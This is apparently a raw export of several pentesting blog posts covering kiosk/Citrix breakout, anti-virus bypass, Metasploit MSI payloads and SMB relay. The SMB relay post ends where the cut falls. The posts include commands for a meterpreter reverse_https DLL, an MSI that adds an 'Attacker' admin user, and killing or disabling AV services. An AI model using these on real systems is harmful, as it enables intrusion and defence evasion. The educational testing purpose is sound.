In some cases you may not have the ability to launch applications to read files on the operating system.  However, in many cases you can upload files to an evil web server via an upload form via your web browser.  iKat Desktop actually has a module called “File Reflection” in the “Reconnaissance” menu to a serve that purpose.  Below is a screen shot example showing  the upload and viewing of a file called “helloworld.txt” that contains the string “Hello World!”.

Img E B

Bypass File Execution Restrictions

The fantastic thing about Windows is that there is always more than one way to do everything. Naturally this makes Windows easier for users, but it also makes it harder to lock down.  Below are a few different options for executing files when standard execution isn’t possible.

Right-Click and Open

The classics never die.  If accessing right-click menus is possible then simply right-click the file you wish to execute and choose open from the Windows file dialog box.  Below is a basic example showing how to run cmd.exe

Img E B C

File Protocol Handler

In most scenarios this works well in the address bar for both Internet Explorer and Windows Explorer.  To execute a file with this method type “file:///c:/Windows/System32/cmd.exe” into the address bar.  Below are a few screen shots to illustrate the process.  Once again, this can also be done using iKat by clicking on a preconfigured hyperlink.

Img E E B E

Img E F B

File Shortcuts

Some “restricted” desktops and dialog boxes may allow you to modify or create shortcuts to the files for execution.   After the shortcut is modified/created a simply double-click should do the trick.
  • Right-click the shortcut
  • Choose properties
  • In the “Target” field change the path to the executable you wish to run.
Below is a basic example screen shot.

Img E Be

Drag and Drop Execution

Windows also allows for drag and drop execution.  For example, if right-click or file handler options are unavailable, you can simply drag any file onto cmd.exe in order to open a console Window.  This can be done with a single dialog or between multiple as shown in the basic example below.

Img E E Bbe

Browser Add-ons

If you’re testing a web application in most cases you’ll have the ability to navigate to a web server via the address bar in Internet Explorer or Windows Explorer.  By starting up your own web server on a remote server you should be able to access add-on applications that have the ability to pass commands to the operating system.  For example, you can use a Java  applet that passes commands through cmd.exe and displays the results on the page.  Below are some common technologies that can be used.  If you don’t feel like writing your own wrappers, iKat supports a number of different “Browser Addons” including java applets, click once, and ActiveX.

Browser Based Exploits

Many browsers and browser add-ons suffer from exploits that allow the execution of arbitrary code on the system.  One way to leverage those kind of issues while trying to break out an application deployed via Terminal Service, Citrix, or Kiosk platform is to simply visit a web page hosting the exploit.  You can configure and deploy your own malicious web pages with Metasploit manually or through iKat.  However, Metasploit provides the flexibility to test one module at a time or test many at once with the “browser_autopwn” module.  I would provide instructions, but the usage has been documented a million times.  Feel free to Google it.

Office File Macros

Office and Adobe PDF documents can contain macros that will execute arbitrary code on the system.  Simply create an Office file that with run the operating system command of your choice via a macro, host it on your malicious web server, and open it from the application’s browser or Internet Explorer.  Surprise! iKat supports this as well.

Native Application Functionality

A surprising number of applications have command execution functionality built in on purpose.  So make sure that you walk through the entire application looking for command execution, scheduled tasks, and database query options.  Many thick applications also provide users with the ability to execute arbitrary queries on backend databases.  In many cases that functionality can be used to execute operating system commands through existing database functions on the database server such as xp_cmdshell.

Bypass File Execution Black/White Lists

Administrators can configure group policy to prevent or allow applications to be run by name.  However, attackers have a few workarounds available to them which can be hard to prevent with group policy on its own.  Below are a few examples.

Rename files

Simply renaming files will typically allow you to bypass  group policy enforced black and white lists.  In most cases you can rename your files to anything that isn’t on the blacklist,  but I have had the most success when naming files after required or running processes like svchost.exe, conhost, explorer.exe, iexplore.exe, etc.

Change Directories

Although the default folders used by the application may not allow files to execute, your user’s personal directories usually do.  Navigating to %userprofile% or shell:Personal will often give you the write/execute access you’ll need to break out of the application and execute commands on the operating system.

Obtain Access to Native Interactive Shells

There are lots of native applications that will provide an interactive shell.  I’ve listed a few of the common ones are below:

CMD.exe

Cmd.exe is the native  console for Windows.  I think most people are more comfortable with it than the alternatives just because it’s familiar.  However, use what you like.  Below is a basic screen shot example.

Img E E Ca

It’s worth noting that there are two version of cmd.exe in 64bit Windows systems.  The are located in c:windowssystem32 and C:WindowsSYSWOW64cmd.exe.

COMMAND.com

Everyone goes straight for cmd.exe, but don’t forget about command.com.  It’s still on older Windows systems and when everything else is locked down it can come in handy.  Below is a basic example screen shot.

Img E Ab A

FTP.exe

A lot of people forget that the native ftp.exe client in Windows has a command  that allows users to execute local operating system commands without direct access to cmd.exe.  This usually comes in handy when there are a lot of restrictions around cmd.exe, and you don’t have change or write access to the file system.  Below is a basic overview of how to use the FTP client to obtain a directory listing.
  1. Double-click ftp.exe, the console will launch
  2. Type “!dir” to get a directory listing
Below is a basic screen shot example.

Img E A Cc E

POWERSHELL.exe

PowerShell provides its own console with a bunch of cmd.exe aliases so that (for the most part) you can interact with it as though you were using cmd.exe.  It also supports all the .net magic, which means you can basically run any command  or call any API method that you have the privileges to.  This is my preferred shell for that reason, but of course PowerShell must already be installed on the system.  Below is a basic screen shot example.

Img E A E B

Scripts of All Kinds

If script extensions such as .bat, .vbs, or .ps are configured to automatically execute their code via their intended interpreter, then in some cases it may be possible to drop a script that acts as an interactive console or downloads/launches your favorite Third-party applications.

Obtain Access to Native Management Consoles

It’s pretty well known that most kiosk systems are configured to run with local administrative privileges.  So the native applications below should give you the means to access a full remote desktop or disable group policies that are making your life difficult.  They can also come in handy when attacking Terminal Service and Citrix applications.

MMC.exe

MMC.exe allows users to build custom management control panels.  It can be very handy for disabling restrictions on files, and other local configurations.

Img E Ae Ee

CONTROL.exe

Control.exe actually launches the control panel.  Depending on the group policy this may or may not give you access to what you’re looking for.

Img E B F De

RUNDLL32.exe

Run dll can be used to execute dll functions from the command line.  This includes the native API calls to launch management consoles.  Below are a few examples that can be useful.
  • Add/Remove Programs: RunDll32.exe shell32.dll,Control_RunDLL appwiz.cpl,,0Content Advisor
  • Control Panel: RunDll32.exe shell32.dll,Control_RunDLL
  • Device Manager: RunDll32.exe devmgr.dll DeviceManager_Execute
  • Folder Options – General: RunDll32.exe shell32.dll,Options_RunDLL 0
  • Folder Options – Search: RunDll32.exe shell32.dll,Options_RunDLL 2
  • Forgotten Password Wizard:  RunDll32.exe keymgr.dll,PRShowSaveWizardExW
  • System Properties: Advanced: RunDll32.exe shell32.dll,Control_RunDLL sysdm.cpl,,4
  • Taskbar Properties: RunDll32.exe shell32.dll,Options_RunDLL 1
  • User Accounts: RunDll32.exe shell32.dll,Control_RunDLL nusrmgr.cpl
  • Windows Firewall: RunDll32.exe shell32.dll,Control_RunDLL firewall.cpl
Below is an example screen shot.

Img E B C

TASKMGR.exe

If you’re looking for something a little more intuitive than rundll32.exe, then taskmrg.exe may be for you.  It will let you view all of the running process, logged in users, and provides functionality to run commands easily.  Below is a basic screen shot.

Img E Bd B C

MSTSC.exe

Mstsc.exe is the remote desktop client for Windows.  By remote desktoping to the Terminal Server or Citrix server that your already on, you may be able to obtain a full desktop without the original restrictions.  It can make life easier if you’re trying to escalate privileges.  Below is a basic screen shot.

Img E C C

Download Third Party Applications

In many cases leveraging native executables will be enough, but sometimes you may want to download your own tools to the target system.  There are a ton of ways to accomplish this goal.  However, I’m lazy so I’ve only included three common methods.

Terminal Services and Citrix clipboards

Based on my experience, Terminal Services and Citrix clipboards are left enabled to meet business requirement most of the time.  That means that as an attacker you can simply copy and paste your tools to the remote server.

Web Server

Don’t forget that you can simply startup your own web server and download tools via the web browser.  A lot of people like LAMP and WAMP for the sake of simplicity, but use what you like.  Also, (as mentioned) iKat Desktop has some useful tools.

FTP Server

Similar to web servers, it’s easy to start up a malicious FTP server.  As we have already seen, Windows has a FTP client installed by default that can be used to pull down tools to the target system.  Also,  don’t  forget that Internet Explorer can be used as a FTP client with the “ftp://” protocol handler.

Useful Third Party Applications

There are a number of third party tools that can come in handy when breaking out of applications.  If policies and privileges are very restrictive it may be easier to simply upload your own application to do simple things like manage the registry, navigate the file system, and obtain an interactive console.  So below I’ve provide a few tools that I’ve had success with.  Also, iKat has a lot of fun options.

Alternative Registry Editors

Oh registry how I love thee.  If you’re looking for a few registry editors that won’t be blocked by the standard group policy then look no further.  Simpleregedit and Uberregedit are GUI tools that can be used to edit Windows registry.  Below is a basic screen shot.

Img E Cc A

They can be downloaded from the links below.

Alternative File System Editor

I like this little single executable file explorer.  It’s fast and easy to use.  Best of all it will bypass all of the folder restrictions applied by group policy.  Below is a basic screen shot.

Img E D E

Explorer++.exe can be downloaded from the link below.  However, be aware that there are separate executables for x64 and x86 architectures.

Alternative Interactive Console

Console.exe may sound generic, but it gets the job done when harsh group policy restrictions are in place.  It does consist of four files, but does not need to be “installed” so it’s still very portable.   Below is a basic screen shot.

Img E D E

Console.exe can be downloaded from the link below.

Wrap Up

This blog has provided some insight into common break out methods that can be used for Terminal Services, Citrix, and kiosk applications.   As with any game – your offense is usually better when you have a solid understanding of the your opponent’s defensive strategy.  So I highly recommend looking at the hardening guides provided below by Microsoft and Citrix to get an understanding of what administrators are/should be doing. Hopefully using the blog and guides together will help you identify common security weakness before the bad guys do. Good luck and hack responsibly.

References and Links

[post_title] => Breaking Out! of Applications Deployed via Terminal Services, Citrix, and Kiosks [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => breaking-out-of-applications-deployed-via-terminal-services-citrix-and-kiosks [to_ping] => [pinged] => [post_modified] => 2021-06-08 21:49:48 [post_modified_gmt] => 2021-06-08 21:49:48 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1161 [menu_order] => 380 [post_type] => post [post_mime_type] => [comment_count] => 2 [filter] => raw ) [43] => WP_Post Object ( [ID] => 1171 [post_author] => 17 [post_date] => 2013-03-11 07:00:59 [post_date_gmt] => 2013-03-11 07:00:59 [post_content] => At some point, all penetration testers get asked, “Where did you learn all this stuff?” In my experience, the question often comes from clients and students interested in pen testing. Usually, they’re asking because they aren’t sure where to start. There are a number of two- and four-year college programs that can provide a nice structured approach, but generally I think penetration testing is like any other skillset; if you find the right resources, a good direction, and study hard, you’ll acquire the skills you’re looking for. However, I will say that it does help to already have a strong IT background. Regardless of the path taken, it’s nice to have some decent resources along the way. In this blog, I’ve put together a list of books and online training resources that cover topics and skills that I’ve found useful as a penetration tester. Hopefully the list is also useful to those of you interested in getting your feet wet. Have fun and Hack Responsibly!

Recommended Books

Read, read, and read some more. Recommending that people “Read the F***ing Manual” (RTMF) is just as important today as it was 20 years ago. The list below is really directed at specific tasks that most penetration testers have to perform. I’m aware that there are some obvious gaps in the list, but I haven’t found any books that I really love related to privilege escalation, network attacks, AV evasion, or penetration testing as a profession. Regardless, I hope you enjoy the books as much as I have.
  1. Web Application Hacker’s Handbook 2nd Edition Every penetration tester should have a copy of this book. It has good coverage on a lot of web application attack methods with an emphasis on Burp Suite, which a very robust local HTTP proxy.
  2. SQL Injection Attack and Defense This book is very complimentary to the Web Application Hacker’s Hand Book. It provides a pretty straightforward approach for identifying and exploiting SQL injection flaws on common database platforms. As a side note, I also recommend playing with Burp Suite and SQLMap while learning how to perform SQL injection attacks.
  3. Web Application Obfuscation This book is also complimentary to the Web Application Hacker’s Hand Book and SQL Injection Attack and Defense. It provides a decent overview of techniques that can be used to essentially hide your attacks from web application firewalls, intrusion prevention systems, and web application input filters.
  4. Database Hacker’s Handbook This is an oldie but a goody. It provides some great coverage on how to attack the common database platforms. This can come in handy if you’re hoping to escalate your privileges on the database level after finding an SQL injection issue.
  5. Managed Code Rootkits This book provides manual and automated methods for reverse engineering managed code applications and frameworks. It covers the .NET framework, Java RTE., and Dalvik applications. I thought it was interesting because it has a large focus on actually poisoning the frameworks instead of the application directly. However, it should be noted that this book does not focus on advanced debugging techniques like most reversing books.
  6. A Guide to Kernel Exploitation: Attacking the Core Not all penetration testers spend their days developing kernel exploits, but it’s still good to know the basics. This book has a focus on understanding kernel exploits and how they actually expose operating system vulnerabilities. So far, it’s been a good read, but I haven’t finished it yet. Someone also recently recommended The Shellcoder’s Handbook to me. So consider that as well.
  7. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software I liked this one a lot. It provides a good assembly primer which can come in handy in a lot of ways during a penetration test. It also provides decent coverage in areas that you would expect like static and dynamic malware analysis, file structures, test handlers, packers, and debugging. I’ve also heard that the IDA PRO Book is great if you want to become the reversing master of the universe. However, I don’t actually own it at the moment.
  8. Gray Hat Python I really like this book as well. It’s a quick read and it does a good job of describing different debugging, injection, and fuzzing techniques. It also provides a lot of sample code that can be used to perform tasks like hooking and DLL/code injection. I’ve found both techniques to be quite handy for avoiding anti-virus solutions and stealing data protected with encryption.
  9. Windows® Internals, Part 1 / Part 2: Covering Windows Server® 2008 R2 and Windows 7 I will most likely never finish either of these books in their entirety. However, they do make great references. If you ever need to know anything about how any part of Windows works, these are the go-to books.
  10. Network exploration and security auditing cookbook Nmap has become one of the fundamental “tools of the trade” over the past decade or so. In my opinion, it’s as valuable to administrators as it is to attackers. I think that every IT professional should know what Nmap is and how to use it. This book is a great start for someone who has not been exposed to it in the past. It covers everything from basic system discovery to writing your own plugins to scan for vulnerabilities.
  11. MetaSploit: A Penetration Tester’s Guide MetaSploit has also become one of the fundamental “tools of the trade” in recent years. There is a lot of community involvement and I think this is a good book for beginners who want to learn more about MetaSploit and some practical use cases.

Free Online Training and Vulnerable VMs

Obviously, there are ton of great blogs, training sites, and vulnerable VMs/application out there. I will not be coving all of them. However, I’ve tried to include online resources that are valuable for beginners and veterans alike. SecurityTube SecurityTube is like YouTube, but the videos are dedicated to teaching penetration test skills. Our intern actually recommended this site to me before I knew what it was. Since that time, I’ve been checking every time I start learning a new topic just to see if they have already covered it. I feel the quality of the tutorials is great and obviously recommend it. Irongeek It’s not a pretty site, but it provides a lot of good content. It is also known for releasing video presentations from security conferences is record time. MetaSploit Unleashed This web site provides a free online course all about MetaSploit. They do ask for donations to fund Hackers for Charity which raises funds for underprivileged children in East Africa. It’s a great site with a great cause – I recommend checking it out. VulnHub Reading only gets you so far. Most people in IT are hands on learners so, in order to get your hands dirty, I recommend checking out VulnHub. This is a relatively new site that supplies virtual machines that are designed to be vulnerable. For those of you looking for a quick way to set up a testing lab at home, this may be the most cost/time affective solution. Bug bounties If you feel you have the skills, now they can pay the bills.  There are lots of companies willing to pay real money if you find a big issue in their product. Below are  a few sites dedicated to consolidating a list of the companies currently paying “bug bounties”.

Good Google Searches

As I mentioned earlier, I haven’t been able to find books that cover everything I’d like them to. Where books fail, Google usually succeeds. I suggest using it to find good archived presentations from security conferences such as Defcon, Blackhat, Derby con etc. Below I’ve also provided some topics that you might find interesting. Windows Penetration and Escalation In my experience, 90% of enterprise environments are Windows-based operating systems that centralized access control around Active Directory Services. Therefore, it’s good to have an understanding of the tools and techniques used to escalate privileges in those environments. Unfortunately, I have yet to find a single book that covers well; below are some basic keywords, vulnerability categories, and tools to get you started.
  • Default passwords
  • Clear text passwords
  • Excessive privileges: Users, services, gui, files, registry, memory
  • Insecure local and remote services
  • Insecure schedule tasks
  • Local and remote exploits
  • Password guessing: medusa, hydra, bruter, and MetaSploit
  • Password and hash dumping: Cain, lsa secrets, credential manager, fgdump, mimikatz, MetaSploit post modules
  • Password hash cracking: john the ripper, hashcat, lophtcrack, masking, Cain
  • Impersonating users: incognito, mimikatz, pass the hash, MetaSploit psexec, shared accounts, smbexec
Linux Penetration and Escalation Even though Linux and UNIX systems aren’t in the majority on most networks, they still have a role to play and so, naturally, it’s good to understand their soft spots as well. For the most part, Linux has many of the same basic keywords and vulnerability categories as Windows:
  • Default passwords
  • Clear text passwords
  • Excessive privileges: Users, services, gui, files, memory, setuid, orphan files, world writable files, sudoers configurations
  • Insecure local and remote services
  • Insecure schedule tasks
  • Local and remote exploits
  • Password guessing: medusa, hydra, bruter, and MetaSploit
  • Password and hash dumping
  • Password hash cracking: john the ripper, hashcat, masking
Man in the Middle (MITM) Attacks For some of you, MITM attacks may be a new concept so here is brief description. If a workstation is communicating with a server, and you are routing traffic between them, then you are the MITM. It’s a great position to be in for monitoring and manipulating traffic. There are lots of ways to acquire a MITM position using a range of protocol attacks. To get you started, I’ve provided a list of 10 protocols and tools for attacking systems on a LAN.
  • Address Resolution Protocol (ARP): Cain, ettercap, Intercepter-NG (by Ares), Subterfuge, easycreds
  • NetBIOS Name Service  (NBNS): MetaSploit, Intercepter-NG (by Ares),  and responder
  • Link-local Multicast Name Resolution (LLMNR): MetaSploit, Intercepter-NG (by Ares), and responder
  • Pre-Execution Environment (PXE): MetaSploit
  • Dynamic Trunking Protocol (DTP): Yersinia
  • Spanning-Tree Protocol (STP): Yersinia, ettercap (lamia plugin)
  • Hot Stand-by Router Protocol (HSRP): Yersinia
  • Dynamic Host Configuration Protocol (DHCP): Intercepter-NG (by Ares), MetaSploit, manual setup
  • Domain Name Services (DNS): MetaSploit, ettercap, dsniff, zodiac, ADMIdPack
  • VLAN Tunneling Protocol (VTP): Yersinia, voiphopper, or modprobe+ifconfig
Anti-Virus Evasion Anti-virus evasion is often a requirement during penetration testing. I personally break down AV evasion approaches into the four buckets below. I provided a list of keywords for each category to get your searches started. I’m also planning to release a few blogs down the line that will provide more options and actual examples.
  • Bypass Weak AV Configurations
    • Uninstall anti-virus, disable services, terminate processes, disabled via the GUI, create an exception policy for all .exe files, or execute from external media.
  • Source Code Manipulation
    • Remove comments, randomize function and variable names, encode or encrypt content, delay execution of malicious code, use alternative functions, or insert superfluous functions that change execution flow.
  • Binary Manipulation
    • Bind with white listed applications, pack or compress, modify strings, modify resources, modify imports table, modify assembly to do things mentioned in source code manipulation. Common packers: upx, iexpress, and mpress.
  • Process Manipulation
    • Inject malicious code or DLLs into local or remote process. Native languages can do it directly or through a managed code framework like .net. Powershell is a popular example that the MetaSploit team (amongst others) has been using a lot lately. Also, process manipulation is commonly done with python code that is converted to a portable executable.
[post_title] => Resources for Aspiring Penetration Testers [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => resources-for-aspiring-penetration-testers [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:53 [post_modified_gmt] => 2021-04-13 00:05:53 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1171 [menu_order] => 391 [post_type] => post [post_mime_type] => [comment_count] => 16 [filter] => raw ) [44] => WP_Post Object ( [ID] => 1132 [post_author] => 17 [post_date] => 2013-01-20 07:00:03 [post_date_gmt] => 2013-01-20 07:00:03 [post_content] => A while back I put together a short blog titled 10 Evil User Tricks for Bypassing Anti-Virus. The goal was to highlight common anti-virus misconfigurations. While I was chatting with Mark Beard he mentioned that I neglected to include how to use Metasploit payloads packaged in MSI files. So in this blog I'll try to make amends by providing a quick and dirty walkthrough of how to do that. This should be useful for both sysadmins and penetration testers.

Creating MSI Files that Run Metasploit Payloads

The Metasploit Framework team (and the greater security community) has made it easy and fun to package Metasploit payloads in almost any file format. Thankfully that includes MSI files. MSI files are Windows installation packages commonly used to deploy software via GPO and other methods. Luckily for penetration testers some anti-virus solutions aren't configured by default to scan .msi files or the .tmp files that are generated when MSI files are executed. For those of you who are interested in testing if your anti-virus solution stops Metasploit payloads packaged in .MSI files I worked with Mark to put together this short procedure.
  1. Use the msfconsole to create a MSI file that will execute a Metasploit payload. Feel free to choose your favorite payload, but I chose adduser because it makes for an easy test. Note: This payload requires local admin privileges to add the user.
    msfconsole use payload/windows/adduser set PASS Attacker123! set USER Attacker generate -t msi -f /tmp/evil.msi
    Alternatively, you can generate the MSI file with the msfvenom ruby script that comes with Metasploit:
    msfvenom -p windows/adduser USER=Attacker PASS=Attacker123! -f msi > evil.msi
  2. Copy the evil.msi file to the target system and run the MSI installation from the command line to execute the Metasploit payload. From a penetration test perspective using the /quiet switch is handy, because it suppresses messages that would normally be displayed to the user.
    msiexec /quiet /qn /I c:tempevil.msi
  3. Check anti-virus logs to see if the payload was identified. You can also check to see if the payload executed and added the "Attacker" user with the command below. If user information is returned then the payload executed successfully.
    net user attacker
The MSI file is configured to execute the payload, but will not complete the formal installation process, because the authors (Ben Campbell and Parvez Anwar) forced it to fail using some invalid VBS. So uninstalling it won't be required after execution. However, during execution a randomly named .tmp file will be created that contains the MSF payload in the c:windowsInstaller folder. The file should be cleaned up automatically, but if the installation fails out for any reason the file will most likely need to be removed manually. The file will look something like "c:windowsInstallerMSI5D2F.tmp". As a side note, it appears that the .tmp file is basically a renamed .exe file. So if you manually rename the .tmp file to an .exe file you can execute it directly. Also, once it's renamed to an .exe file anti-virus starts to pick it up.

Escalating Privileges with MSI Packages

As it turns out MSI files are handy for more than simply avoiding anti-virus. Parvez Anwar figured out that they can also be used to escalate privileges from local user to local administrator if the group policy setting "Always install with elevated privileges" is enabled for the computer and user configurations. The setting is exactly what it sounds like. It provides users with the ability to install any horrible ad-ware, pron-ware, or malware they want onto corporate systems. In gpedit.msc the configuration looks something like this: Scott_S_Executing_MSI_1 The policies can also be viewed or modified from the following registry locations: [HKEY_CURRENT_USERSoftwarePoliciesMicrosoftWindowsInstaller] "AlwaysInstallElevated"=dword:00000001 [HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller] "AlwaysInstallElevated"=dword:00000001 For those of you who don't want to go through hassle of generating and executing the MSI files manually Ben Campell (meatballs) and Parvez Anwar were nice enough to put together a Metasploit module to do it for you called "Windows AlwaysInstallElevated MSI". The technique was also mentioned during a recent presentation by Rob Fuller (mubix) and Chris Gates (carnal0wnage) titled "AT is the new BLACK" which is worth checking out.

Wrap Up

The down side is that MSI files can pose a serious threat if anti-virus and group policy settings are not configured securely. However, the bright side is it's an easy problem to fix in most environments. Good hunting, and don't forget to Hack Responsibly!

References

[post_title] => Bypassing Anti-Virus with Metasploit MSI Files [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => bypassing-anti-virus-with-metasploit-msi-files [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:37 [post_modified_gmt] => 2021-04-13 00:05:37 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1132 [menu_order] => 397 [post_type] => post [post_mime_type] => [comment_count] => 0 [filter] => raw ) [45] => WP_Post Object ( [ID] => 1177 [post_author] => 17 [post_date] => 2013-01-16 07:00:59 [post_date_gmt] => 2013-01-16 07:00:59 [post_content] =>

Introduction

Many anti-virus solutions are deployed with weak configurations that provide end users with the ability to quickly disable or work around the product if they wish. As a result, even users without super hacker “skillz” can run malicious executables (intentionally or not) without having to actually modify them in any way to avoid detection. Naturally, such techniques lend themselves well to penetration testing. This blog will provide a brief overview of 10 issues to watch out for. It should be interesting to administrators looking for basic weaknesses in their current implementations. However, it will most likely be less interesting to the veteran pentester. Short disclaimer: This is far from complete, and truth be told there is no perfect anti-anything. In spite of that, I hope that you enjoy the read. I’ve provided a summary of what will be covered for those who don’t feel like reading the whole blog first.

  1. Add Anti-Virus Policy Exceptions
  2. Disable Anti-Virus via the GUI
  3. Terminate Anti-Virus Processes
  4. Stop and Disable Anti-Virus Services
  5. Disable Anti-Virus via Debugger Settings
  6. Uninstall Anti-Virus
  7. Execute from a  UNC Path or Removable Media
  8. Execute from an Alternative Data Stream
  9. Execute from a DLL
  10. Execute from Outside the File Systems

Add Anti-Virus Policy Exceptions

A fun option that occasionally works is creating custom exceptions to the anti-virus solution’s policy. For example, an end user could create an exception that would allow all files with the “.exe” extension to run on the system. As a result, most malware and “hacker tools” would not get blocked or deleted. For an example of how this could be accomplished in the Symantec End Point Protection product, please refer to the following Symantec help page: http://www.symantec.com/business/support/index?page=content&id=TECH104326

Disable Anti-Virus via the GUI

This is less common in recent years, but historically non-administrative users had the privileges to disable many anti-virus solutions via the GUI interface. It used to be as simple as right-clicking the taskbar icon and choosing disable. As you can imagine, the skill level required to execute this bypass is low, but the risk to an organization is high.

Terminate Anti-Virus Processes

Some anti-virus solutions consist of multiple services that like to continuously restart each other. That’s when terminating the process before disabling a service can come in handy. Usually the taskkill command can be used. That’s essentially what the Metasploit post module “killav” does. A closer look at the module can be found here: https://github.com/rapid7/metasploit-framework/blob/master/scripts/meterpreter/killav.rb You can issue the command below to forcefully kill a task manually with taskkill:

Taskkill /F /IM avprocess.exe

Stop and Disable Anti-Virus Services

In some cases users don’t have the privileges to disable anti-virus via the GUI, but they do have control over the associated services. If that is the case, then anti-virus services can usually be stopped and disabled. This can be accomplished via services.msc, the “sc” command, or the “net stop” command. However, always make sure to be a good little pentester and restore the services to their original state before logging out of the system. To stop a Windows service issue the following command:

net stop “service name”

To disable a Windows service issue the following command:

sc config "service name" start= disabled

The services.msc console can be also be used to stop and disabled services via a GUI interface.  It can be accessed by navigating to start->run, and typing “services.msc”.

Disable Anti-Virus via Debugger Setting

This is a very cool trick that Khai Tran told me about. The original article he referenced can be found at http://blogs.msdn.com/b/greggm/archive/2005/02/21/377663.aspx. I recommend taking a look at it. In short, it says that users have the ability to prevent anti-virus from running by setting a custom debugger in the registry. When the operating system or user attempts to execute anti-virus the specified debugger is executed instead. Very clever, Internet, very clever. Apparently this has been used by malware developers for years. The basic steps for conducting the attack have been provided below. Please note that these were taken from the link above.

  1. Run regedit.exe
  2. Go to HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Options
  3. Create a new key (example: calc.exe)
  4. Create a new string value under your exe. The name of the string value is 'Debugger', and the value is svchost.exe (or anything)

Uninstall Anti-Virus Software

Although I don’t recommend uninstalling anti-virus during a penetration test, it can still be considered a valid bypass method. Some solutions may require a password before the uninstall process can begin. In those instances, the password can usually be found in the registry or an ini file on the system. However, other bypass methods are available like the one described within the article link below. It recommends simply terminating the “msiexec.exe” process when prompted for the uninstall password. http://helpdeskgeek.com/help-desk/uninstall-symantec-endpoint-protection-without-a-password/

Execute from a UNC Path or Removable Media

Some solutions are not configured to scan or prevent the execution of malicious binaries from SMB or WebDAV when accessed via the UNC path. It’s strange, but true. As a result, attackers can simply map an evil share containing backdoors, hacker tools etc., and execute malware to their hearts’ content. I guess some people are under the impression that malware can’t be stored on network drives. Similarly, some solutions are not configured to scan or prevent the execution of binaries from removable media such as an SD card, iPod, or USB drive. It’s pretty common to drop evil USB drives during onsite social engineering engagements, so this one scares me a little.

Execute from Alternative Data Streams

Alternative data streams allow users to store data in a file via an extended file name. Microsoft says, “By default, all data is stored in a file's main unnamed data stream, but by using the syntax 'file:stream', you are able to read and write to alternates.”. Malware commonly stores text, payloads, and even full binaries in alternative streams. Historically anti-virus solutions have missed a lot of malware that uses alternative data streams. However, AV has gotten much better at finding them over the years. You can scan your system for files containing alternative data streams with streams (http://technet.microsoft.com/en-us/sysinternals/bb897440.aspx) tool from the Sysinternals toolkit. Also, you can try the technique out for yourself using the basic example below. Echo the text “Hello world” into a new file’s main data stream:

echo Hello world > file

Echo the text “Hello Evil” into an alternative data stream:

echo Hello evil > file:evil

Read from the file’s main data stream:

type file

Read from the file’s alternative data stream:

type file:evil

Execute from a DLL

In some cases I’ve found that anti-virus solutions miss malicious code if it’s placed into a DLL instead of an EXE file. I’ve provide a basic example of how to generate and run a DLL using the Metasploit Framework below. Create an evil DLL containing a meterpreter payload with the msfpayload command:

msfpayload windows/meterpreter/reverse_https LHOST=192.168.1.2 LPORT=443 D > evil.dll

Run the DLL main function with Rundll32 command:

Rundll32 evil.dll, @DllMain12

Execute from Outside the File System

Apparently, some malware stores and executes code from outside of the file system on the disk. It sounds like you can access the code by referencing the physical drive in some way. I haven’t had time to really explore this one, but it is touched in the book "Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software". Excellent read in my opinion. I’ll share once I know more. If anyone has the details let me know.

Wrap Up

Hopefully you’ve had some fun experimenting and have a better understanding of the level of protection most anti-virus solutions truly offer. I’m working on a few other blogs that focus on bypassing anti-virus via source code, binary, and process manipulation that should also add some insight into common bypass methods. In the meantime, have fun and hack responsibility.

[post_title] => 10 Evil User Tricks for Bypassing Anti-Virus [post_excerpt] => [post_status] => publish [comment_status] => closed [ping_status] => closed [post_password] => [post_name] => 10-evil-user-tricks-for-bypassing-anti-virus [to_ping] => [pinged] => [post_modified] => 2021-04-13 00:05:31 [post_modified_gmt] => 2021-04-13 00:05:31 [post_content_filtered] => [post_parent] => 0 [guid] => https://netspiblogdev.wpengine.com/?p=1177 [menu_order] => 398 [post_type] => post [post_mime_type] => [comment_count] => 4 [filter] => raw ) [46] => WP_Post Object ( [ID] => 1179 [post_author] => 17 [post_date] => 2012-12-26 07:00:59 [post_date_gmt] => 2012-12-26 07:00:59 [post_content] =>

In this blog, I’ll provide a brief overview of SMB Relay attacks and show how they can be initiated through a Microsoft SQL Server.  I will also provide some practical examples that show how to use new Metasploit modules to gain unauthorized access to SQL Servers during a penetration test. Below is a summary of what will be covered in this blog:

  • A Brief History of SMB Relay
  • Using SQL Server to Iniate SMB Authentication Attacks
  • Using Metasploit Modules to Capture and Crack Hashes
  • Using Metasploit Modules to Relay Authentication

A Brief History of SMB Relay

In summary, an SMB Relay attack can be loosely defined as the process of relaying SMB authentication from one system to another via a man-in-the-middle (MITM) position. Based on my five whole minutes of wiki research I now know that the issues that allow smb attacks to be succesful were identified as a threat in the late 90’s.  However, it wasn’t until 2001 that Sir Dystic publicly released a tool that could be used to perform practical attacks.   Seven years later Microsoft got around to partially fixing the issue with a patch, but it only prevents attackers from relaying back to the originating system. I guess the good news is that SMB relay attacks can be prevented by enabling and requiring smb message signing, but the bad news is that most environments are configured in such a way that attackers can still relay authentication to other systems. 2001 was a while ago, so I got out my calculator and did some hardcore math to figure out that this has been a well known and practiced attack for at least 11 years.  During that time there have been many tools and projects dedicated to taking advantage of the attack technique. Some of the more popular ones include Metasploit, Squirtle, and ZackAttack. Anyway, let’s get back on track…

Using SQL Server to Initiate SMB Authentication Attacks

So how can we initiate SMB authentication through a SQL Server?  As it turns out, SQL Server can interact with the file system in a number of different ways.  For example, it supports functions for reading from files, providing directory listings, and checking if files exist.  The xp_dirtree and xp_fileexist stored procedures are especially handy, because by default they can be executed by any login with the PUBLIC role in SQL Server 2000 to 2012.

